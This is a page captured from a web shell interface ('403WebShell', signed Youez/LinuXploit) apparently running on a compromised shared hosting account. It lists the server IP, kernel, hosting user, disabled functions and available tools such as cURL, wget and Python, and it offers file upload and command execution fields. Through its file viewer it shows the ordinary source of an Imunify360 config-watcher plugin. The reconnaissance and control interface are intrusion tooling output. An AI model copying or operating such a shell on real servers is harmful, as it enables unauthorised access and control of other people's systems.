Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.190.219.200
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/imunify360/venv/lib/python3.11/site-packages/defence360agent/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/imunify360/venv/lib/python3.11/site-packages/defence360agent/plugins/config_watcher.py
import time
from defence360agent.contracts import config
from defence360agent.contracts.messages import MessageType
from defence360agent.contracts.plugins import (
    MessageSink,
    MessageSource,
    expect,
)
from defence360agent.utils import recurring_check, Scope

POLLING_INTERVAL = config.int_from_envvar("READ_CONFIG_POLLING_INTERVAL", 30)


class ConfigWatcher(MessageSink, MessageSource):
    """Send ConfigUpdate message on [root's] config update.

    The config update is detected by polling config file's
    modification time.

    """

    SCOPE = Scope.AV

    def __init__(self):
        self._config = config.ConfigFile()
        self._last_notify_time = 0
        self._sink = None
        self._task = None

    async def create_sink(self, loop):
        "plugins.MessageSink method"

    @expect(MessageType.ConfigUpdate)
    async def on_config_update_message(self, message):
        # update the time, to avoid sending duplicate ConfigUpdate
        # messages after the "config update" command
        self._last_notify_time = message["timestamp"]

    async def create_source(self, loop, sink):
        self._sink = sink
        self._task = loop.create_task(self._check_config())

    async def shutdown(self):
        if self._task is not None:
            t, self._task = self._task, None
            t.cancel()
            await t
        self._sink = None

    @recurring_check(POLLING_INTERVAL)
    async def _check_config(self):
        if config.any_layer_modified_since(self._last_notify_time):
            # notify about the update
            message = MessageType.ConfigUpdate(
                conf=self._config, timestamp=time.time()
            )
            await self._sink.process_message(message)
            # update the time here, in case ConfigUpdate might stuck
            # in the queue for longer than the polling interval
            self._last_notify_time = message["timestamp"]

Youez - 2016 - github.com/yon3zu
LinuXploit